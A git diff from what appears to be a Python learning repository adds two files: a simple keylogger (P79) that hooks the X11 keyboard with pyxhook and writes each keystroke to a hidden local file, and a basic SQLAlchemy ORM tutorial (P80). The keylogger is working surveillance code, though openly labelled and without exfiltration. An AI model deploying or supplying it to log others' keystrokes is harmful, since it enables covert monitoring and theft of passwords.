b/Test2/P79_SimplePythonKeylogger.py new file mode 100644 index 0000000..ff08573 --- /dev/null +++ b/Test2/P79_SimplePythonKeylogger.py @@ -0,0 +1,49 @@ +# Author: OMKAR PATHAK + +# This file requires two modules to be installed: +# 1. pyxhook.py: file is provided in the folder itself +# 2. Xlib: sudo pip3 install python3-Xlib + +import pyxhook +import time + +# functions to write a newline character into the file +def newline(): + file = open('.keylogger', 'a') + file.write('\n') + file.close() + +# This function is called every time a key is pressed +def key_press_event(event): + global running + # write the key pressed into a file + if event.Key != 'space' and event.Key != 'Escape': + with open('.keylogger', 'a+') as File: + File.write(event.Key) + + # If the ascii value matches spacebar, add a newline in the file + if event.Key == 'space': + newline() + + # If the ascii value matches escape, terminate the while loop + if event.Key == 'Escape': + running = False + newline() + +if __name__ == '__main__': + # Create hookmanager + hookman = pyxhook.HookManager() + # Define our callback to fire when a key is pressed down + hookman.KeyDown = key_press_event + # Hook the keyboard + hookman.HookKeyboard() + # Start our listener + hookman.start() + + # Create a loop to keep the application running + running = True + while running: + time.sleep(0.1) + + # Close the listener when we are done + hookman.cancel() diff --git a/Test2/P80_SQLAlchemyTutorial.py b/Test2/P80_SQLAlchemyTutorial.py new file mode 100644 index 0000000..f031635 --- /dev/null +++ b/Test2/P80_SQLAlchemyTutorial.py @@ -0,0 +1,61 @@ +# Author: OMKAR PATHAK +# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) + +# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy + +from sqlalchemy import ( + create_engine, + Column, + Integer, + String +) + +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import sessionmaker +import os + + +# create a sqlite db +engine = create_engine('sqlite:///example.db', echo=True) +Base = declarative_base() + + +class Student(Base): + __tablename__ = "student" + + id = Column(Integer, primary_key=True) + username = Column(String) + firstname = Column(String) + lastname = Column(String) + university = Column(String) + + def __init__(self, username, firstname, lastname, university): + self.username = username + self.firstname = firstname + self.lastname = lastname + self.university = university + + +def create_tables(): + # create tables + Base.metadata.create_all(engine) + + +if __name__ == '__main__': + sqlite_file = 'example.db' + file_exists = os.path.isfile(sqlite_file) + if not file_exists: + create_tables() + Session = sessionmaker(bind=engine) + session = Session() + + # Create objects + user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') + session.add(user) + + # commit the record the database + session.commit() + + # Select objects + for student in session.query(Student).order_by(Student.id): + print (student.firstname, student.lastname)